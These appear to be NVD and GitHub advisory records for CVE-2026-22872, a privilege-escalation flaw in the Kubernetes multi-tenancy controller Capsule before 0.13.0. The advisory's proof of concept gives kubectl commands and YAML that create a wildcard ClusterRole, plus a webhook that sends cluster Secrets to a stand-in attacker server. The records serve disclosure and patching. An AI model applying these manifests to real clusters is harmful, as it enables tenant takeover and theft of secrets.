{
  "affected": [
    {
      "affectedData": [
        {
          "product": "capsule",
          "vendor": "projectcapsule",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.13.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:projectcapsule:capsule:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "A7404B12-5E27-4AB9-80C0-82901F2AA44B",
              "versionEndExcluding": "0.13.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Capsule is a multi-tenancy and policy-based framework for Kubernetes. The Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Prior to version 0.13.0, tenant administrators can leverage the Controller\u0027s elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks. The attack vector has a few limiting factors. This attack requires Tenant Owner privileges and requires Capsule Controller running with cluster-admin privileges (default configuration). Additionally, some clusters may have additional admission controllers blocking malicious resources. Version 0.13.0 patches this issue."
    },
    {
      "lang": "es",
      "value": "Capsule es un framework multi-inquilino y basado en pol\u00edticas para Kubernetes. El Capsule Controller se ejecuta con privilegios de cluster-admin. Aunque la l\u00f3gica de procesamiento de TenantResource RawItems establece forzosamente el espacio de nombres, esto es ineficaz para los recursos de \u00e1mbito de cl\u00faster. Antes de la versi\u00f3n 0.13.0, los administradores de inquilinos pueden aprovechar los privilegios elevados del Controller para crear recursos de \u00e1mbito de cl\u00faster (como ClusterRole y ValidatingWebhookConfiguration) que no pueden crear directamente, logrando una escalada de privilegios entre inquilinos y ataques a nivel de cl\u00faster. El vector de ataque tiene algunos factores limitantes. Este ataque requiere privilegios de Propietario de Inquilino y requiere que Capsule Controller se ejecute con privilegios de cluster-admin (configuraci\u00f3n predeterminada). Adem\u00e1s, algunos cl\u00fasteres pueden tener controladores de admisi\u00f3n adicionales que bloquean recursos maliciosos. La versi\u00f3n 0.13.0 parchea este problema."
    }
  ],
  "id": "CVE-2026-22872",
  "lastModified": "2026-07-22T07:10:00.107",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.1,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 6.0,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 6.9,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "PROOF_OF_CONCEPT",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "HIGH",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "HIGH",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-22872",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-02T12:45:37.635453Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-01T19:16:21.943",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/projectcapsule/capsule/releases/tag/v0.13.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-qjjm-7j9w-pw72"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-qjjm-7j9w-pw72"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        },
        {
          "lang": "en",
          "value": "CWE-863"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/projectcapsule/capsule"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22872"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-28T17:02:55Z",
    "nvd_published_at": "2026-06-01T19:16:21Z",
    "severity": "MODERATE"
  },
  "details": "# TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability\n\n\n## Summary\n\nThe Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller\u0027s elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.\n\n---\n\n## Details\n\n### Vulnerability Location\n\nFile: `internal/controllers/resources/processor.go`\nFunction: `HandleSection()`\nLines: 247-285\n\n### Core Issues\n\n1. **Excessive Controller Privileges**: The Controller\u0027s ServiceAccount is bound to the cluster-admin ClusterRole\n   ```yaml\n   # ClusterRoleBinding: capsule-manager-rolebinding\n   roleRef:\n     kind: ClusterRole\n     name: cluster-admin\n   ```\n\n2. **Missing Resource Scope Validation**: Although the code calls `obj.SetNamespace(ns.Name)`, this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field\n\n3. **Missing Resource Type Validation**: No check for whether resources are cluster-scoped\n\n### Vulnerable Code Analysis\n\n```go\n// internal/controllers/resources/processor.go\nfor rawIndex, item := range spec.RawItems {\n    template := string(item.Raw)\n\n    t := fasttemplate.New(template, \"{{ \", \" }}\")\n    tmplString := t.ExecuteString(map[string]interface{}{\n        \"tenant.name\": tnt.Name,\n        \"namespace\":   ns.Name,\n    })\n\n    obj, keysAndValues := unstructured.Unstructured{}, []interface{}{\"index\", rawIndex}\n\n    // Issue 1: Accepts any resource type, including cluster-scoped resources\n    if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(\n        []byte(tmplString), nil, \u0026obj); decodeErr != nil {\n        log.Error(decodeErr, \"unable to deserialize rawItem\", keysAndValues...)\n        syncErr = errors.Join(syncErr, decodeErr)\n        continue\n    }\n\n    // Issue 2: For cluster-scoped resources, this setting is ignored by API\n    obj.SetNamespace(ns.Name)\n\n    // Issue 3: Controller creates with cluster-admin privileges, no scope check\n    if rawErr := r.createOrUpdate(ctx, \u0026obj, objLabels, objAnnotations); rawErr != nil {\n        log.Info(\"unable to sync rawItem\", keysAndValues...)\n        syncErr = errors.Join(syncErr, rawErr)\n    }\n}\n```\n\n### Attack Chain\n\n```\nTenant Owner (bob) - Has TenantResource creation permission\n  \u2193\nCreates TenantResource containing cluster-scoped resources\n  \u2193\nCapsule Controller (cluster-admin) processes RawItems\n  \u2193\nobj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)\n  \u2193\nSuccessfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)\n  \u2193\nCross-tenant privilege escalation / Cluster-level attacks\n```\n\n---\n\n## PoC\n\n### Environment Setup\n\nTest Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)\n\n#### Step 1: Verify Capsule Controller Privileges\n\n```bash\nkubectl get clusterrolebinding capsule-manager-rolebinding -o yaml\n```\n\nConfirm output contains:\n```yaml\nroleRef:\n  kind: ClusterRole\n  name: cluster-admin  # Controller has full cluster management privileges\n```\n\n#### Step 2: Install Capsule and Create Test Tenant\n\nComplete Capsule installation and tenant creation following previous environment setup steps.\n\n#### Step 3: Verify bob\u0027s Permission Restrictions\n\n**Verify bob can create TenantResource:**\n```bash\nkubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1\n```\n\nActual output:\n```\nyes\n```\n\n**Verify bob cannot create ClusterRole:**\n```bash\nkubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource \u0027clusterroles\u0027 is not namespace scoped in group \u0027rbac.authorization.k8s.io\u0027\n\nno\n```\n\n**Verify bob cannot create ValidatingWebhook:**\n```bash\nkubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource \u0027validatingwebhookconfigurations\u0027 is not namespace scoped in group \u0027admissionregistration.k8s.io\u0027\n\nno\n```\n\n### Attack Vector 1: Creating Malicious ClusterRole\n\n#### Step 4: Create TenantResource Containing ClusterRole\n\nCreate file `attack-clusterrole.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n  name: create-clusterrole\n  namespace: tenant-b-ns1\nspec:\n  resyncPeriod: 60s\n  resources:\n    - namespaceSelector:\n        matchLabels:\n          capsule.clastix.io/tenant: tenant-b\n      rawItems:\n        - apiVersion: rbac.authorization.k8s.io/v1\n          kind: ClusterRole\n          metadata:\n            name: malicious-clusterrole\n          rules:\n          - apiGroups: [\"*\"]\n            resources: [\"*\"]\n            verbs: [\"*\"]\n```\n\nApply configuration **as bob user** (critical - must specify executor):\n\n```bash\nkubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-clusterrole created\n```\n\n**Important**: The `--as bob --as-group projectcapsule.dev` parameters are crucial for proving that bob (not the cluster admin) is executing this attack.\n\n#### Step 5: Verify ClusterRole Creation\n\n```bash\nkubectl get clusterrole malicious-clusterrole\n```\n\nActual output:\n```\nNAME                    CREATED AT\nmalicious-clusterrole   2026-01-05T16:10:02Z\n```\n\nView details:\n\n```bash\nkubectl get clusterrole malicious-clusterrole -o yaml\n```\n\nKey output:\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  annotations:\n    capsule.clastix.io/tenant: tenant-b\n  name: malicious-clusterrole\nrules:\n- apiGroups: [\"*\"]\n  resources: [\"*\"]\n  verbs: [\"*\"]\n```\n\n**Verification Successful**: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.\n\n#### Step 6: Exploit ClusterRole for Cross-Tenant Attack\n\nNow bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: bob-cluster-admin\nsubjects:\n- kind: User\n  name: bob\n  apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: ClusterRole\n  name: malicious-clusterrole\n  apiGroup: rbac.authorization.k8s.io\n```\n\nAfter applying, bob will have full cluster management privileges and can access resources of all tenants.\n\n### Attack Vector 2: Creating Malicious ValidatingWebhook\n\n#### Step 7: Create TenantResource Containing Webhook\n\nCreate file `attack-webhook.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n  name: create-webhook\n  namespace: tenant-b-ns1\nspec:\n  resyncPeriod: 60s\n  resources:\n    - namespaceSelector:\n        matchLabels:\n          capsule.clastix.io/tenant: tenant-b\n      rawItems:\n        - apiVersion: admissionregistration.k8s.io/v1\n          kind: ValidatingWebhookConfiguration\n          metadata:\n            name: malicious-webhook\n          webhooks:\n          - name: malicious.webhook.com\n            clientConfig:\n              url: \"https://attacker-controlled-server.com/webhook\"\n            rules:\n            - operations: [\"CREATE\", \"UPDATE\"]\n              apiGroups: [\"\"]\n              apiVersions: [\"v1\"]\n              resources: [\"secrets\"]\n            admissionReviewVersions: [\"v1\"]\n            sideEffects: None\n            failurePolicy: Ignore\n```\n\nApply configuration **as bob user**:\n\n```bash\nkubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-webhook created\n```\n\n#### Step 8: Verify Webhook Creation\n\n```bash\nkubectl get validatingwebhookconfiguration malicious-webhook\n```\n\nActual output:\n```\nNAME                WEBHOOKS   AGE\nmalicious-webhook   1          5s\n```\n\n**Verification Successful**: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.\n\n#### Step 9: Exploit Webhook to Steal Sensitive Data\n\nAt this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:\n\n1. Steal Secret data from all tenants (database passwords, API keys, etc.)\n2. Modify Secret contents\n3. Deny legitimate Secret creation requests, achieving DoS attacks\n\n---\n\n## Impact\n\n### Affected Scope\n\nThis vulnerability affects all Capsule deployments with the following prerequisites:\n1. Capsule Controller runs with cluster-admin privileges (default configuration)\n2. Tenant Owner has permission to create TenantResource\n\n### Security Impact\n\n1. **Cross-Tenant Privilege Escalation**\n   - Create ClusterRole to gain cluster-level privileges\n   - Break tenant isolation boundaries\n   - Access all resources of other tenants\n\n2. **Large-Scale Sensitive Data Theft**\n   - Intercept all Secret creation/update requests through malicious Webhook\n   - Steal passwords, API keys, certificates, etc. across the entire cluster\n   - Real-time monitoring of all tenant sensitive operations\n\n3. **Cluster-Level Denial of Service**\n   - Deny all API requests through Webhook\n   - Make the entire cluster unavailable\n   - Impact all tenants\n\n4. **Cluster Pollution**\n   - Create malicious CRDs\n   - Modify StorageClass\n   - Impact cluster stability\n\n5. **Persistent Backdoor**\n   - Created cluster-scoped resources persist\n   - Even if TenantResource is deleted, ClusterRole and other resources remain\n   - Difficult to detect and remove\n\n\n### Limiting Factors\n\n1. Requires Tenant Owner privileges\n2. Requires Capsule Controller running with cluster-admin privileges (default configuration)\n3. Some clusters may have additional admission controllers blocking malicious resources",
  "id": "GHSA-qjjm-7j9w-pw72",
  "modified": "2026-06-09T10:50:44Z",
  "published": "2026-05-28T17:02:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-qjjm-7j9w-pw72"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22872"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/projectcapsule/capsule"
    },
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/releases/tag/v0.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Capsule TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability"
}